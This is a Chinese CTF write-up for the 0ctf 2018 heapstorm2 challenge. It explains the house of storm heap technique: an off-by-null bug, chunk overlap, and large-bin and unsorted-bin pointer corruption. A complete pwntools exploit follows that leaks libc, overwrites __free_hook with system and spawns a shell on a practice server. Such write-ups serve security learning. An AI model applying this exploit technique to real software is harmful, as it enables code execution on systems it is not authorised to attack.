题目分析
这题估计是house of storm利用的起源?
因为用这种办法直接就可以做通,后面还有rctf_2019_babyheap也需要用到house of storm,但是那题限制条件多多了
init()里先把fastbin禁用了
申请了0x13370000这块内存,并且做了初始化
初始化首先读入长度为0x18的随机数,就记为3个long long随机数吧,分别为r1,r2,r3,然后从0x13370820开始,左边和r1亦或,右边和r2亦或(在后边使用中,左边是分配的存放内容的地址与r1亦或结果,右边是size和r2亦或结果)
update中限制了读入长度为size-12,并且有一个off-by-null漏洞
漏洞利用
- 首先,我们申请这么几个堆
add(0x18)#0
add(0x508)#1
add(0x18)#2
add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6
- 编辑chunk1,在chunk2-0x10的地方写入0x500,这样做是为了错位,防止之后申请的时候的chunk2的inuse位置1,然后删除chunk1,把chunk2的inuse变为0(这里chunk2的inuse表示chunk1是否空闲)
- 利用off-by-null漏洞编辑chunk1,使得chunk1的size变为0x500
- 再次申请,大小分别为0x18,0x4d8,idx分别为1和7,这样刚好分配了0x500的空间,把刚刚释放得到chunk1用完了
- 删除idx1,然后删除chunk2,此时会进行chunk1和2的合并,合并之后大小为0x530。这时候再申请一个0x38和0x4e8大小的堆,idx分别为1,2,这就造成了重叠:即idx7的指向idx2的chunk-0x10位置处
- 按上面的方法再进行一次重叠,记这一步申请出的0x4d8为idx8,当合并出0x530的chunk后,申请0x48大小的堆,idx为4。此时unsorted bin还剩0x4e0大小的chunk
- 此时删除idx2,该chunk进入unsortedbin,然后把它申请回来,这个时候会把上一步剩下的0x4e0chunk弄进largin bin中,这样Idx8就能控制一个free的large bin
- 重新把2删除,这样idx7就能控制一个free的unsorted bin,chunk大小为0x4f0
- 现在,编辑idx7,把unsorted bin的bk改为0x13370000-0x20(0x133707e0),编辑idx8,把large bin的bk改为0x13370000-0x18,bk_nextsize改为0x13370000-0x20-0x18-5
- 这时,申请一个0x48大小的堆,如果我们运气好,就能成功,此时申请出的堆指向0x133707f0,结果如下图:
我们申请出0x133707e0处伪造出的的chunk
这是large bin
这是unsorted bin
这一步的原理就比较复杂了,下面我尽量解释清楚:
我们在申请一个0x48大小的堆,需要chunk大小为0x50,首先libc中代码会从fastbin中寻找,之后又在small bin寻找,但是它们都为空,所以就从unsorted bin中寻找是否有合适的chunk,此时由于我们的伪造实际上unsorted bin中有2个chunk,首先被判断的是0x4f0大小的chunk,显然大小不对,而由于unsorted bin还有其他chunk,因此不会切割它,而是要把它放入large bin中
此时large bin中已经有了大小0x4e0的chunk,我们要把0x4f0的chunk放进去,就会执行以下操作
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
其中victim为要进行插入的0x4f0大小chunk,fwd为large bin中0x4e0大小的chunk
我们重点关注以下几个操作
victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;
fwd->bk_nextsize为0x133707c3,他的fd_nextsize就为0x133707e3,libc会向其中写入victim的地址
把该chunk放入large bin之后,libc会接着检查unsorted bin中下一个chunk(即我们伪造的0x133707e0),此时由于错位,该chunk的size正好是0x50,然后就被分配给我们了
但为什么说要运气好才能成功,因为还要满足这个条件,is_mmapped为倒数第二个bit,所以我们需要victim开头是0x56才能满足
assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
av == arena_for_chunk (mem2chunk (mem)));
- 现在我们都已经申请出0x13370800这块地方,接下来就可以写入我们需要的地址进行泄露或者编辑了
payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
edit(2, payload)
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(fake_chunk+3) + p64(8)
edit(0, payload)
show(1)
r.recvuntil("]: ")
heap = u64(r.recv(6).ljust(8, '\x00'))
success("heap:"+hex(heap))
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
edit(0, payload)
show(1)
r.recvuntil("]: ")
malloc_hook = u64(r.recv(6).ljust(8, '\x00')) -0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
success("malloc_hook:"+hex(malloc_hook))
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(8) + '/bin/sh\x00'
edit(0, payload)
edit(1, p64(system))
delete(2)
第一次编辑,在idx0出写入0x13370800,由于0x48长度限制只能写到这里
第二次编辑,利用0x133707e3处的地址获得一个堆上地址,并利用该chunk泄露libc
Exp
from pwn import *
#r = remote("node3.buuoj.cn", 26141)
#r = process("./0ctf_2018_heapstorm2")
context.log_level = 'debug'
elf = ELF("./0ctf_2018_heapstorm2")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "Command: "
def add(size):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Size: ")
r.sendline(str(size))
def delete(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index: ")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index: ")
r.sendline(str(index))
def edit(index,content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index: ")
r.sendline(str(index))
r.recvuntil("Size: ")
r.sendline(str(len(content)))
r.recvuntil("Content: ")
r.send(content)
def pwn():
add(0x18)#0
add(0x508)#1
add(0x18)#2
add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6
edit(1, 'a'*0x4f0+p64(0x500))
delete(1)
edit(0, 'a'*(0x18-12))
add(0x18)#1
add(0x4d8)#7
delete(1)
delete(2)
add(0x38)#1
add(0x4e8)#2
edit(4, 'a'*0x4f0+p64(0x500))
delete(4)
edit(3, 'a'*(0x18-12))
add(0x18)#4
add(0x4d8)#8
delete(4)
delete(5)
add(0x48)#4
delete(2)
add(0x4e8)#2
delete(2)
storage = 0x13370800
fake_chunk = storage - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload)
payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload)
add(0x48) #0x133707e0
payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
edit(2, payload)
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(fake_chunk+3) + p64(8)
edit(0, payload)
show(1)
r.recvuntil("]: ")
heap = u64(r.recv(6).ljust(8, '\x00'))
success("heap:"+hex(heap))
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
edit(0, payload)
show(1)
r.recvuntil("]: ")
malloc_hook = u64(r.recv(6).ljust(8, '\x00')) -0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
success("malloc_hook:"+hex(malloc_hook))
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(8) + '/bin/sh\x00'
edit(0, payload)
edit(1, p64(system))
delete(2)
r.interactive()
if __name__ == "__main__":
#pwn()
while True:
r = remote("node3.buuoj.cn", 26141)
try:
pwn()
except:
r.close()
最后附上一篇讲large bin attack比较详细的博文
Largebin 学习